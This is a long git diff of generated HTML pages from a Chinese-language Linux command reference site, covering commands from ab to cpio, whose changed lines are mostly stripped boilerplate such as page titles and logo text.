diff --git a/c/ab.html b/c/ab.html index be171e3a06..3037dbc620 100644 --- a/c/ab.html +++ b/c/ab.html @@ -10,7 +10,7 @@ ab 命令,Linux ab 命令详解:Apache服务器的性能测试工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -170,7 +170,7 @@ name[:port - - + + \ No newline at end of file diff --git a/c/accept.html b/c/accept.html index f8cc580559..409339fff6 100644 --- a/c/accept.html +++ b/c/accept.html @@ -10,7 +10,7 @@ accept 命令,Linux accept 命令详解:指示打印系统接受发往指定目标打印机的打印任务 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -77,7 +77,7 @@ - - + + \ No newline at end of file diff --git a/c/ack.html b/c/ack.html index d3640ed0c2..0a608b19fd 100644 --- a/c/ack.html +++ b/c/ack.html @@ -10,7 +10,7 @@ ack 命令,Linux ack 命令详解:比grep好用的文本搜索工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -133,7 +133,7 @@ ack-grep -G hello.py$ hello # 查找匹配正则 - - + + \ No newline at end of file diff --git a/c/alias.html b/c/alias.html index 3c01c23128..f7b2a4c2b5 100644 --- a/c/alias.html +++ b/c/alias.html @@ -10,7 +10,7 @@ alias 命令,Linux alias 命令详解:定义或显示别名。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -167,7 +167,7 @@ - - + + \ No newline at end of file diff --git a/c/apachectl.html b/c/apachectl.html index 3e4508c1fa..54ec6cb328 100644 --- a/c/apachectl.html +++ b/c/apachectl.html @@ -10,7 +10,7 @@ apachectl 命令,Linux apachectl 命令详解:Apache服务器前端控制工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -81,7 +81,7 @@ - - + + \ No newline at end of file diff --git a/c/apk.html b/c/apk.html index d115f3ed4d..2e5200beac 100644 --- a/c/apk.html +++ b/c/apk.html @@ -10,7 +10,7 @@ apk 命令,Linux apk 命令详解:Alpine Linux 下的包管理工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -173,7 +173,7 @@ apk add dropbear - - + + \ No newline at end of file diff --git a/c/apropos.html b/c/apropos.html index 613a5368e7..013ea7a1bf 100644 --- a/c/apropos.html +++ b/c/apropos.html @@ -10,7 +10,7 @@ apropos 命令,Linux apropos 命令详解:在 whatis 数据库中查找字符串 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -115,7 +115,7 @@ w ( - - + + \ No newline at end of file diff --git a/c/apt-get.html b/c/apt-get.html index 04b0a8f07f..f017e71bc5 100644 --- a/c/apt-get.html +++ b/c/apt-get.html @@ -10,7 +10,7 @@ apt-get 命令,Linux apt-get 命令详解:Debian Linux发行版中的APT软件包管理工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -120,7 +120,7 @@ - - + + \ No newline at end of file diff --git a/c/apt-key.html b/c/apt-key.html index cc86ea875b..5b0d770ea1 100644 --- a/c/apt-key.html +++ b/c/apt-key.html @@ -10,7 +10,7 @@ apt-key 命令,Linux apt-key 命令详解:管理Debian Linux系统中的软件包密钥 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -78,7 +78,7 @@ apt-key update # 更新本地trusted数据库 - - + + \ No newline at end of file diff --git a/c/apt-sortpkgs.html b/c/apt-sortpkgs.html index 4b393a93dc..2a3f4d598b 100644 --- a/c/apt-sortpkgs.html +++ b/c/apt-sortpkgs.html @@ -10,7 +10,7 @@ apt-sortpkgs 命令,Linux apt-sortpkgs 命令详解:Debian Linux下对软件包索引文件进行排序的工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -76,7 +76,7 @@ - - + + \ No newline at end of file diff --git a/c/aptitude.html b/c/aptitude.html index 1640541440..7a61e29ae2 100644 --- a/c/aptitude.html +++ b/c/aptitude.html @@ -10,7 +10,7 @@ aptitude 命令,Linux aptitude 命令详解:Debian Linux系统中软件包管理工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -94,7 +94,7 @@ - - + + \ No newline at end of file diff --git a/c/ar.html b/c/ar.html index ea2b4e3bc7..b6d98b4d73 100644 --- a/c/ar.html +++ b/c/ar.html @@ -10,7 +10,7 @@ ar 命令,Linux ar 命令详解:建立或修改备存文件,或是从备存文件中抽取文件 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -193,7 +193,7 @@ d.c - - + + \ No newline at end of file diff --git a/c/arch.html b/c/arch.html index dd0a312c76..adb479488b 100644 --- a/c/arch.html +++ b/c/arch.html @@ -10,7 +10,7 @@ arch 命令,Linux arch 命令详解:显示当前主机的硬件架构类型 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -89,7 +89,7 @@ x86_64 - - + + \ No newline at end of file diff --git a/c/arj.html b/c/arj.html index f4761ba29f..9e2fe44b3f 100644 --- a/c/arj.html +++ b/c/arj.html @@ -10,7 +10,7 @@ arj 命令,Linux arj 命令详解:用于创建和管理.arj压缩包 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -75,7 +75,7 @@ - - + + \ No newline at end of file diff --git a/c/arp.html b/c/arp.html index a82fe8c99b..dd36430c78 100644 --- a/c/arp.html +++ b/c/arp.html @@ -10,7 +10,7 @@ arp 命令,Linux arp 命令详解:arp 命令用于显示和修改 IP 到 MAC 转换表 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -105,7 +105,7 @@ arp -s 192.168.1.1 00:b1:b2:b3:b4:b5 - - + + \ No newline at end of file diff --git a/c/arpd.html b/c/arpd.html index 75a3012bc2..d0871d5a09 100644 --- a/c/arpd.html +++ b/c/arpd.html @@ -10,7 +10,7 @@ arpd 命令,Linux arpd 命令详解:收集免费ARP信息 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -87,7 +87,7 @@ - - + + \ No newline at end of file diff --git a/c/arping.html b/c/arping.html index 02a1a989c5..4299d02a26 100644 --- a/c/arping.html +++ b/c/arping.html @@ -10,7 +10,7 @@ arping 命令,Linux arping 命令详解:通过发送ARP协议报文测试网络 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -95,7 +95,7 @@ Received 8 response - - + + \ No newline at end of file diff --git a/c/arptables.html b/c/arptables.html index 61c093e7fe..15dfd1d6f0 100644 --- a/c/arptables.html +++ b/c/arptables.html @@ -10,7 +10,7 @@ arptables 命令,Linux arptables 命令详解:管理ARP包过滤规则表 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -85,7 +85,7 @@ - - + + \ No newline at end of file diff --git a/c/arpwatch.html b/c/arpwatch.html index 402fcf7157..8b1f7ba76b 100644 --- a/c/arpwatch.html +++ b/c/arpwatch.html @@ -10,7 +10,7 @@ arpwatch 命令,Linux arpwatch 命令详解:监听网络上ARP的记录 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -76,7 +76,7 @@ - - + + \ No newline at end of file diff --git a/c/as.html b/c/as.html index 41d5f2ea37..b76741d339 100644 --- a/c/as.html +++ b/c/as.html @@ -10,7 +10,7 @@ as 命令,Linux as 命令详解:汇编语言编译器 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -89,7 +89,7 @@ - - + + \ No newline at end of file diff --git a/c/at.html b/c/at.html index 975c8fd8cc..3ddf6ee753 100644 --- a/c/at.html +++ b/c/at.html @@ -10,7 +10,7 @@ at 命令,Linux at 命令详解:在指定时间执行一个任务 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -115,7 +115,7 @@ job 8 at 2013 - - + + \ No newline at end of file diff --git a/c/atop.html b/c/atop.html index 1fd1801fda..ed2abf3312 100644 --- a/c/atop.html +++ b/c/atop.html @@ -10,7 +10,7 @@ atop 命令,Linux atop 命令详解:监控Linux系统资源与进程的工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -138,7 +138,7 @@ - - + + \ No newline at end of file diff --git a/c/atq.html b/c/atq.html index 892a983604..42ff0856e1 100644 --- a/c/atq.html +++ b/c/atq.html @@ -10,7 +10,7 @@ atq 命令,Linux atq 命令详解:列出当前用户的at任务列表 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -83,7 +83,7 @@ atq - - + + \ No newline at end of file diff --git a/c/atrm.html b/c/atrm.html index 38e582f8ca..b96c6fc3e5 100644 --- a/c/atrm.html +++ b/c/atrm.html @@ -10,7 +10,7 @@ atrm 命令,Linux atrm 命令详解:删除待执行任务队列中的指定任务 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -83,7 +83,7 @@ atrm 2 # 删 - - + + \ No newline at end of file diff --git a/c/awk.html b/c/awk.html index d09b8c2db6..e1b2af1f1f 100644 --- a/c/awk.html +++ b/c/awk.html @@ -10,7 +10,7 @@ awk 命令,Linux awk 命令详解:文本和数据进行处理的编程语言 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -739,7 +739,7 @@ drwxr-xr-x 95 root root - - + + \ No newline at end of file diff --git a/c/axel.html b/c/axel.html index 4832641f9c..d82d9bf2b9 100644 --- a/c/axel.html +++ b/c/axel.html @@ -10,7 +10,7 @@ axel 命令,Linux axel 命令详解:多线程下载工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -103,7 +103,7 @@ - - + + \ No newline at end of file diff --git a/c/badblocks.html b/c/badblocks.html index 426d9f6fad..b321467d39 100644 --- a/c/badblocks.html +++ b/c/badblocks.html @@ -10,7 +10,7 @@ badblocks 命令,Linux badblocks 命令详解:查找磁盘中损坏的区块 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -113,7 +113,7 @@ - - + + \ No newline at end of file diff --git a/c/base64.html b/c/base64.html index 4f40037921..36ba5a9f3a 100644 --- a/c/base64.html +++ b/c/base64.html @@ -10,7 +10,7 @@ base64 命令,Linux base64 命令详解:base64 编码/解码文件或标准输入输出 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -91,7 +91,7 @@ - - + + \ No newline at end of file diff --git a/c/basename.html b/c/basename.html index decdb6f1a0..cb58c42991 100644 --- a/c/basename.html +++ b/c/basename.html @@ -10,7 +10,7 @@ basename 命令,Linux basename 命令详解:打印目录或者文件的基本名称 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -88,7 +88,7 @@ - - + + \ No newline at end of file diff --git a/c/batch.html b/c/batch.html index 6d8544ff57..37aa7c75f9 100644 --- a/c/batch.html +++ b/c/batch.html @@ -10,7 +10,7 @@ batch 命令,Linux batch 命令详解:在系统不繁忙的时候执行定时任务 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -83,7 +83,7 @@ job 5 at Sun Apr 28 - - + + \ No newline at end of file diff --git a/c/bc.html b/c/bc.html index 7332fdc0d5..a7ccfb334c 100644 --- a/c/bc.html +++ b/c/bc.html @@ -10,7 +10,7 @@ bc 命令,Linux bc 命令详解:算术操作精密运算工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -109,7 +109,7 @@ - - + + \ No newline at end of file diff --git a/c/bg.html b/c/bg.html index 5d5183cc35..98fcfb6441 100644 --- a/c/bg.html +++ b/c/bg.html @@ -10,7 +10,7 @@ bg 命令,Linux bg 命令详解:将前台终端作业移动到后台运行 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -99,7 +99,7 @@ - - + + \ No newline at end of file diff --git a/c/bind.html b/c/bind.html index 79c8e6a5d6..a7043e9d89 100644 --- a/c/bind.html +++ b/c/bind.html @@ -10,7 +10,7 @@ bind 命令,Linux bind 命令详解:显示或设置键盘按键与其相关的功能 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -103,7 +103,7 @@ Press any keys - Ctrl-D will terminate this program - - + + \ No newline at end of file diff --git a/c/blkid.html b/c/blkid.html index 98e309bd15..aef80a60ea 100644 --- a/c/blkid.html +++ b/c/blkid.html @@ -10,7 +10,7 @@ blkid 命令,Linux blkid 命令详解:查看块设备的文件系统类型、LABEL、UUID等信息 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -121,7 +121,7 @@ Low-level probing options: - - + + \ No newline at end of file diff --git a/c/blockdev.html b/c/blockdev.html index 16b29ae3c3..eb2915109b 100644 --- a/c/blockdev.html +++ b/c/blockdev.html @@ -10,7 +10,7 @@ blockdev 命令,Linux blockdev 命令详解:从命令行调用区块设备控制程序 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -93,7 +93,7 @@ - - + + \ No newline at end of file diff --git a/c/bmodinfo.html b/c/bmodinfo.html index a8f881ab95..37871ea893 100644 --- a/c/bmodinfo.html +++ b/c/bmodinfo.html @@ -10,7 +10,7 @@ bmodinfo 命令,Linux bmodinfo 命令详解:显示给定模块的详细信息 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -94,7 +94,7 @@ depends: scsi_mod - - + + \ No newline at end of file diff --git a/c/break.html b/c/break.html index a465e185fc..c9aa754d0d 100644 --- a/c/break.html +++ b/c/break.html @@ -10,7 +10,7 @@ break 命令,Linux break 命令详解:结束for,while或until循环。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -110,7 +110,7 @@ - - + + \ No newline at end of file diff --git a/c/builtin.html b/c/builtin.html index 636ff40577..0377f05796 100644 --- a/c/builtin.html +++ b/c/builtin.html @@ -10,7 +10,7 @@ builtin 命令,Linux builtin 命令详解:执行bash内建命令。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -116,7 +116,7 @@ - - + + \ No newline at end of file diff --git a/c/bunzip2.html b/c/bunzip2.html index 7d3d17b9a7..7de122552d 100644 --- a/c/bunzip2.html +++ b/c/bunzip2.html @@ -10,7 +10,7 @@ bunzip2 命令,Linux bunzip2 命令详解:创一个bz2文件压缩包 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -84,7 +84,7 @@ - - + + \ No newline at end of file diff --git a/c/bye.html b/c/bye.html index bec06b8f60..984c6b406e 100644 --- a/c/bye.html +++ b/c/bye.html @@ -10,7 +10,7 @@ bye 命令,Linux bye 命令详解:命令用于中断FTP连线并结束程序 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -72,7 +72,7 @@ - - + + \ No newline at end of file diff --git a/c/bzcat.html b/c/bzcat.html index 7eb1890343..3520e5a782 100644 --- a/c/bzcat.html +++ b/c/bzcat.html @@ -10,7 +10,7 @@ bzcat 命令,Linux bzcat 命令详解:解压缩指定的.bz2文件 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -81,7 +81,7 @@ - - + + \ No newline at end of file diff --git a/c/bzcmp.html b/c/bzcmp.html index 14b5b6a936..d10376eb7d 100644 --- a/c/bzcmp.html +++ b/c/bzcmp.html @@ -10,7 +10,7 @@ bzcmp 命令,Linux bzcmp 命令详解:比较两个压缩包中的文件 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -75,7 +75,7 @@ - - + + \ No newline at end of file diff --git a/c/bzdiff.html b/c/bzdiff.html index 843e826933..c035fc2d24 100644 --- a/c/bzdiff.html +++ b/c/bzdiff.html @@ -10,7 +10,7 @@ bzdiff 命令,Linux bzdiff 命令详解:直接比较两个.bz2压缩包中文件的不同 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -75,7 +75,7 @@ - - + + \ No newline at end of file diff --git a/c/bzgrep.html b/c/bzgrep.html index b341466fe3..66f02a9238 100644 --- a/c/bzgrep.html +++ b/c/bzgrep.html @@ -10,7 +10,7 @@ bzgrep 命令,Linux bzgrep 命令详解:使用正则表达式搜索.bz2压缩包中文件 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -75,7 +75,7 @@ - - + + \ No newline at end of file diff --git a/c/bzip2.html b/c/bzip2.html index 6698057e63..bce230e886 100644 --- a/c/bzip2.html +++ b/c/bzip2.html @@ -10,7 +10,7 @@ bzip2 命令,Linux bzip2 命令详解:将文件压缩成bz2格式 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -180,7 +180,7 @@ bzip2: For help, type: `bzip2 --help' - - + + \ No newline at end of file diff --git a/c/bzip2recover.html b/c/bzip2recover.html index 3dea04b767..58c2801612 100644 --- a/c/bzip2recover.html +++ b/c/bzip2recover.html @@ -10,7 +10,7 @@ bzip2recover 命令,Linux bzip2recover 命令详解:恢复被破坏的.bz2压缩包中的文件 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -73,7 +73,7 @@ - - + + \ No newline at end of file diff --git a/c/bzless.html b/c/bzless.html index 6d81a314cd..33ed1a3556 100644 --- a/c/bzless.html +++ b/c/bzless.html @@ -10,7 +10,7 @@ bzless 命令,Linux bzless 命令详解:增强.bz2压缩包查看器 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -72,7 +72,7 @@ - - + + \ No newline at end of file diff --git a/c/bzmore.html b/c/bzmore.html index 1871b89f1e..801369f03b 100644 --- a/c/bzmore.html +++ b/c/bzmore.html @@ -10,7 +10,7 @@ bzmore 命令,Linux bzmore 命令详解:查看bzip2压缩过的文本文件的内容 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -72,7 +72,7 @@ - - + + \ No newline at end of file diff --git a/c/cal.html b/c/cal.html index b30d50e012..902f151068 100644 --- a/c/cal.html +++ b/c/cal.html @@ -10,7 +10,7 @@ cal 命令,Linux cal 命令详解:显示当前日历或指定日期的日历 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -116,7 +116,7 @@ - - + + \ No newline at end of file diff --git a/c/cancel.html b/c/cancel.html index df7589becf..a50b3e9f8e 100644 --- a/c/cancel.html +++ b/c/cancel.html @@ -10,7 +10,7 @@ cancel 命令,Linux cancel 命令详解:取消已存在的打印任务 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -79,7 +79,7 @@ - - + + \ No newline at end of file diff --git a/c/cat.html b/c/cat.html index d638888c87..c924522aaf 100644 --- a/c/cat.html +++ b/c/cat.html @@ -10,7 +10,7 @@ cat 命令,Linux cat 命令详解:连接多个文件并打印到标准输出。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -82,8 +82,8 @@ - - + + 字符。 -n, --number 对所有行编号,从1开始编号。 @@ -145,7 +145,7 @@ var _hmt = _hmt || []; (function() {var hm = document.createElement("script"); h - - + + \ No newline at end of file diff --git a/c/cd.html b/c/cd.html index 6eaa81069e..3624457ab9 100644 --- a/c/cd.html +++ b/c/cd.html @@ -10,7 +10,7 @@ cd 命令,Linux cd 命令详解:切换用户当前工作目录。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -131,7 +131,7 @@ - - + + \ No newline at end of file diff --git a/c/cdrecord.html b/c/cdrecord.html index 3041e78364..aec048e31f 100644 --- a/c/cdrecord.html +++ b/c/cdrecord.html @@ -10,7 +10,7 @@ cdrecord 命令,Linux cdrecord 命令详解:Linux系统下光盘刻录功能命令 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -100,7 +100,7 @@ scsibus0: - - + + \ No newline at end of file diff --git a/c/chage.html b/c/chage.html index 9fac7a087f..f737cee691 100644 --- a/c/chage.html +++ b/c/chage.html @@ -10,7 +10,7 @@ chage 命令,Linux chage 命令详解:修改帐号和密码的有效期限 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -130,7 +130,7 @@ PASS_WARN_AGE 7 - - + + \ No newline at end of file diff --git a/c/chattr.html b/c/chattr.html index 15a38a2313..6113795192 100644 --- a/c/chattr.html +++ b/c/chattr.html @@ -10,7 +10,7 @@ chattr 命令,Linux chattr 命令详解:用来改变文件属性 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -95,7 +95,7 @@ u:预防意外删除。 - - + + \ No newline at end of file diff --git a/c/chcon.html b/c/chcon.html index de41a2adb4..6e1c16b9f1 100644 --- a/c/chcon.html +++ b/c/chcon.html @@ -10,7 +10,7 @@ chcon 命令,Linux chcon 命令详解:修改对象(文件)的安全上下文 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -106,7 +106,7 @@ chcon -R -t httpd_sys_content_t ~user/public_html - - + + \ No newline at end of file diff --git a/c/chfn.html b/c/chfn.html index c00c952a40..0f83975ac5 100644 --- a/c/chfn.html +++ b/c/chfn.html @@ -10,7 +10,7 @@ chfn 命令,Linux chfn 命令详解:用来改变finger命令显示的信息 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -105,7 +105,7 @@ Home Phone[ - - + + \ No newline at end of file diff --git a/c/chgrp.html b/c/chgrp.html index fcdbe7b0b2..6c84d03454 100644 --- a/c/chgrp.html +++ b/c/chgrp.html @@ -10,7 +10,7 @@ chgrp 命令,Linux chgrp 命令详解:用来变更文件或目录的所属群组 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -95,7 +95,7 @@ - - + + \ No newline at end of file diff --git a/c/chkconfig.html b/c/chkconfig.html index 68d1b5a667..99908c1de0 100644 --- a/c/chkconfig.html +++ b/c/chkconfig.html @@ -10,7 +10,7 @@ chkconfig 命令,Linux chkconfig 命令详解:检查或设置系统的各种服务 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -121,7 +121,7 @@ - - + + \ No newline at end of file diff --git a/c/chmod.html b/c/chmod.html index 16bc1849af..47bae43709 100644 --- a/c/chmod.html +++ b/c/chmod.html @@ -10,7 +10,7 @@ chmod 命令,Linux chmod 命令详解:用来变更文件或目录的权限 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -151,7 +151,7 @@ - - + + \ No newline at end of file diff --git a/c/chown.html b/c/chown.html index c4792692f9..f80570d8a3 100644 --- a/c/chown.html +++ b/c/chown.html @@ -10,7 +10,7 @@ chown 命令,Linux chown 命令详解:用来变更文件或目录的拥有者或所属群组 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -89,7 +89,7 @@ - - + + \ No newline at end of file diff --git a/c/chpasswd.html b/c/chpasswd.html index f344fa1a8c..a7eba5c2ac 100644 --- a/c/chpasswd.html +++ b/c/chpasswd.html @@ -10,7 +10,7 @@ chpasswd 命令,Linux chpasswd 命令详解:批量更新用户口令的工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -80,7 +80,7 @@ - - + + \ No newline at end of file diff --git a/c/chroot.html b/c/chroot.html index c69c7defe0..f609b9c580 100644 --- a/c/chroot.html +++ b/c/chroot.html @@ -10,7 +10,7 @@ chroot 命令,Linux chroot 命令详解:把根目录换成指定的目的目录 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -131,7 +131,7 @@ libc.so.6 = &#x - - + + \ No newline at end of file diff --git a/c/chsh.html b/c/chsh.html index 1482bb50af..8145f15cf5 100644 --- a/c/chsh.html +++ b/c/chsh.html @@ -10,7 +10,7 @@ chsh 命令,Linux chsh 命令详解:用来更换登录系统时使用的shell - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -118,7 +118,7 @@ Shell changed. - - + + \ No newline at end of file diff --git a/c/cksum.html b/c/cksum.html index c2b5a78d9a..8b65e222bd 100644 --- a/c/cksum.html +++ b/c/cksum.html @@ -10,7 +10,7 @@ cksum 命令,Linux cksum 命令详解:检查文件的CRC是否正确 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -87,7 +87,7 @@ - - + + \ No newline at end of file diff --git a/c/clear.html b/c/clear.html index 186a50cb42..d0917b628a 100644 --- a/c/clear.html +++ b/c/clear.html @@ -10,7 +10,7 @@ clear 命令,Linux clear 命令详解:清除当前屏幕终端上的任何信息 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -72,7 +72,7 @@ - - + + \ No newline at end of file diff --git a/c/clock.html b/c/clock.html index 2165a0ef3f..79afc1dbf6 100644 --- a/c/clock.html +++ b/c/clock.html @@ -10,7 +10,7 @@ clock 命令,Linux clock 命令详解:用于调整 RTC 时间 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -92,7 +92,7 @@ - - + + \ No newline at end of file diff --git a/c/clockdiff.html b/c/clockdiff.html index 3d3dd06004..675893e419 100644 --- a/c/clockdiff.html +++ b/c/clockdiff.html @@ -10,7 +10,7 @@ clockdiff 命令,Linux clockdiff 命令详解:检测两台linux主机的时间差 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -100,7 +100,7 @@ rtt min/avg/max/mdev = - - + + \ No newline at end of file diff --git a/c/cmp.html b/c/cmp.html index c707485c52..e62f605cd3 100644 --- a/c/cmp.html +++ b/c/cmp.html @@ -10,7 +10,7 @@ cmp 命令,Linux cmp 命令详解:比较两个文件是否有差异 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -100,7 +100,7 @@ testfile testfile1 #有差异:第8字节 - - + + \ No newline at end of file diff --git a/c/col.html b/c/col.html index fc69f5428f..6d42be8916 100644 --- a/c/col.html +++ b/c/col.html @@ -10,7 +10,7 @@ col 命令,Linux col 命令详解:过滤控制字符 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -76,7 +76,7 @@ - - + + \ No newline at end of file diff --git a/c/colrm.html b/c/colrm.html index cd7bfb6338..9ea63a8c18 100644 --- a/c/colrm.html +++ b/c/colrm.html @@ -10,7 +10,7 @@ colrm 命令,Linux colrm 命令详解:删除文件中的指定列 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -75,7 +75,7 @@ - - + + \ No newline at end of file diff --git a/c/comm.html b/c/comm.html index a7a0d73bc6..47d7fdbbb5 100644 --- a/c/comm.html +++ b/c/comm.html @@ -10,7 +10,7 @@ comm 命令,Linux comm 命令详解:按行比较两个已排序的文件。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -168,7 +168,7 @@ jjj - - + + \ No newline at end of file diff --git a/c/command.html b/c/command.html index 94df7751c4..b2970c1052 100644 --- a/c/command.html +++ b/c/command.html @@ -10,7 +10,7 @@ command 命令,Linux command 命令详解:调用并执行指定的命令 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -79,7 +79,7 @@ - - + + \ No newline at end of file diff --git a/c/compress.html b/c/compress.html index f89ac60553..9c357f9454 100644 --- a/c/compress.html +++ b/c/compress.html @@ -10,7 +10,7 @@ compress 命令,Linux compress 命令详解:使用Lempress-Ziv编码压缩数据文件 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -101,7 +101,7 @@ - - + + \ No newline at end of file diff --git a/c/consoletype.html b/c/consoletype.html index 596b35e5fa..5142219ae2 100644 --- a/c/consoletype.html +++ b/c/consoletype.html @@ -10,7 +10,7 @@ consoletype 命令,Linux consoletype 命令详解:输出已连接的终端类型 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -74,7 +74,7 @@ pty - - + + \ No newline at end of file diff --git a/c/continue.html b/c/continue.html index 5a97b772e6..c9866e9dea 100644 --- a/c/continue.html +++ b/c/continue.html @@ -10,7 +10,7 @@ continue 命令,Linux continue 命令详解:结束本次循环,继续执行下一个for,while或until循环。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -115,7 +115,7 @@ - - + + \ No newline at end of file diff --git a/c/convertquota.html b/c/convertquota.html index 6b9ae8344e..cd26758bd9 100644 --- a/c/convertquota.html +++ b/c/convertquota.html @@ -10,7 +10,7 @@ convertquota 命令,Linux convertquota 命令详解:把老的配额文件转换为新的格式 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -82,7 +82,7 @@ - - + + \ No newline at end of file diff --git a/c/cp.html b/c/cp.html index a74d0ade39..2b7787cb22 100644 --- a/c/cp.html +++ b/c/cp.html @@ -10,7 +10,7 @@ cp 命令,Linux cp 命令详解:将源文件或目录复制到目标文件或目录中 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -140,7 +140,7 @@ test1.py test1.py.~1~ test1.py.~2~ - - + + \ No newline at end of file diff --git a/c/cpio.html b/c/cpio.html index 42f24d01cb..2087c54ac6 100644 --- a/c/cpio.html +++ b/c/cpio.html @@ -10,7 +10,7 @@ cpio 命令,Linux cpio 命令详解:用来建立、还原备份档的工具程序 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -129,7 +129,7 @@ - - + + \ No newline at end of file diff --git a/c/crontab.html 